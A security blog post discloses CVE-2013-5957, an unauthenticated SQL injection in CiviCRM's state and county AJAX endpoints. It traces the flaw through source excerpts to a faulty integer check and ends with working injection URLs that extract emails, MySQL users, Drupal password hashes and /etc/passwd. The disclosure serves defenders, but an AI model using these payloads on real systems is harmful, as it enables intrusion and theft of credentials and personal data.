Navixia finds critical vulnerability in CiviCRM

Tristan Leiter
Blog cybersécurité

The following article describes in detail a critical vulnerability found on CiviCRM by the Navixia Research Team.

The vulnerability has been reported to the CiviCRM publisher and is now fixed in versions 4.2.12, 4.3.7, 4.4.beta 4 or later, or by applying a patch. A CVE has been attached with the following reference: CVE-2013-5957.

CiviCRM is a web-based, internationalized suite of computer software for constituency relationship management, that falls under the broad rubric of customer relationship management. It is deployed in conjunction with either the Drupal, Joomla! or Wordpress content management systems (CMS), and is supported by many hosting and professional services companies.

This article presents a critical vulnerability found in this web application. Validation has been done on the latest stables versions: (4.3.6) dated 26.09.2013 and (4.2.1) dated 26.09.2013.

SQL Injections

We take as a starting points two SQL injection that we found in the file Location.php, present at CRM/Core/Page/AJAX/Location.php. The file is not directly accessible but two functions can be called without any authentication:

Drupal:

  • http:// [base_url]?q=civicrm/ajax/jqState
  • http:// [base_url]?q=civicrm/ajax/jqcounty

Joomla:

  • http:// [base_url]/index.php/component/civicrm/?task=civicrm/ajax/jqState
  • http:// [base_url]/index.php/component/civicrm/?task=civicrm/ajax/jqcounty

Wordpress:

  • http:// [base_url]/?page=CiviCRM&q=civicrm/ajax/jqState
  • http:// [base_url]/?page=CiviCRM&q=civicrm/ajax/jqcounty We present in the following schema the differents files impacted by the vulnerability:

Location.php [1]

         |__PseudoConstant.php [2]
                                  |__Dao.php [3]
                                            |___Type.php [4]
                                                             |___Rule.php [5] 

From the source code, we can see that both function take a parameter _value and call an other function 'stateProvinceForCountry()' The result is then displayed.

[1]Location.php

static function jqState($config) {
if (
    !isset($_GET['_value']) ||
    empty($_GET['_value'])
) {
    CRM_Utils_System::civiExit();
    }
$result = CRM_Core_PseudoConstant::stateProvinceForCountry($_GET['_value']);
$elements = array(
    array('name' => ts('- select a state -'),
        'value' => '',
    )
);
foreach ($result as $id => $name) {
    $elements[] = array(
        'name' => $name,
        'value' => $id,
    );
}
echo json_encode($elements);
CRM_Utils_System::civiExit();
}

The function jqCounty() is similar:

Location.php<br>
static function jqCounty($config) {
    if (CRM_Utils_System::isNull($_GET['_value'])) {
        $elements = array(
            array('name' => ts('- select state -'), 'value' => '')
        );
    }
    else {
        $result = CRM_Core_PseudoConstant::countyForState($_GET['_value']);

...

The function stateProvinceForCountry is defined in PseudoConstant.php found at the following location: civicrm/CRM/Core/PseudoConstant.php

[2]PseudoConstant.php

public static
...  
$query = "
SELECT civicrm_state_province.{$field} name, civicrm_state_province.id id
    FROM civicrm_state_province
    WHERE country_id = %1
    ORDER BY name";
$params = array(
    1 => array(
    $countryID,
    'Integer',
),
);
$dao = CRM_Core_DAO::executeQuery($query, $params);     
...

the function executeQuery is defined in civicrm/CRM/Core/Dao.php

[3]Dao.php

static function composeQuery($query, &$params, $abort = TRUE) {
...
if (CRM_Utils_Type::validate($item[0], $item[1]) !== NULL) {

the function CRM_Utils_Type::validate() is defined in civicrm/CRM/Utils/Type.php

[4]Type.php

public static function validate($data, $type, $abort = TRUE, $name = 'One of parameters ') {
    switch ($type) {
        case 'Integer':
        case 'Int':
            if (CRM_Utils_Rule::integer($data)) {
                return $data;
            }
        break;
...

the function CRM_Utils_Rule::integer() is defined in civicrm/CRM/Utils/Rule.php

[5]Rule.php

static function integer($value) {
    if (is_int($value)) {
        return TRUE;
    }
    if (($value < 0)) {
        $negValue = -1 * $value;
        if (is_int($negValue)) {
            return TRUE;
        }
    }

The function 'integer()' is problematic and will return true to any string begining with a negative number. On line 274 $value is evaluated, the result will be true if the strings starts with a negative integer.

Then it is multiplied by '-1' to get a positive integer. The way PHP handles strings and integers multiplication, it will mutiply the first number and discard any other following strings. For example:

"-1 Navixia lalala" * -1 will gives 1 as result.

Any parameters who should be integer in civiCRM could be replaced by a string begining with a negative number and will be evaluated as valid. We demonstrated this vulnerability with the 2 functions jqState and jqcounty but any other input parameters could be vulnerable.

Here are some example of valid sql injection that could be used. The URLs are in Drupal format, but other platforms have also been tested.

Get all emails address

?q=civicrm/ajax/jqState&_value=-1 union select 1,email FROM civicrm_email

Get all databases names:

?q=civicrm/ajax/jqState&_value=-1 union SELECT 1,schema_name FROM information_schema.schemata

Get all mysql users:

?q=civicrm/ajax/jqState&_value=-1 union SELECT 1, grantee FROM information_schema.user_privileges

Get users from the drupal database (if running account with sufficient rights):

?q=civicrm/ajax/jqState&_value=-1 union select 1,name FROM crm.users

Get passwords from the drupal (if running account with sufficient rights):

?q=civicrm/ajax/jqState&_value=-1 union select 1,pass FROM crm.users

Get content of /etc/password:

q=civicrm/ajax/jqState&_value=-1%20UNION%20SELECT%201,LOAD_FILE(0x2F6574632F706173737764)